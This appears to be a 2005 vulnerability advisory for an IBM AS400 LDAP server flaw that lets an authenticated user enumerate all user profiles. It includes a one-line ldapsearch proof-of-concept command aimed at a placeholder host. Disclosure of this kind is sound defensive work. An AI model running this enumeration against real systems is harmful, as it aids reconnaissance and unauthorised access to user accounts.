Rated as : Low

Remotely Exploitable : Yes

Locally Exploitable : Yes

Release Date : 2005-04-05



* Technical Description *



A new vulnerability was identified in IBM AS400, which may be exploited by malicious users to obtain sensitive information. The flaw resides in the LDAP Server, which could be exploited by an authenticated user to retrieve the list of users.



Proof of concept :



#ldapsearch -h as400.vulnerable.com -b "cn=accounts,os400-sys=S0011223.vulnerable.com" -D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.vulnerable.com" -w as400Password -L -s sub "os400-profile=*" > results.txt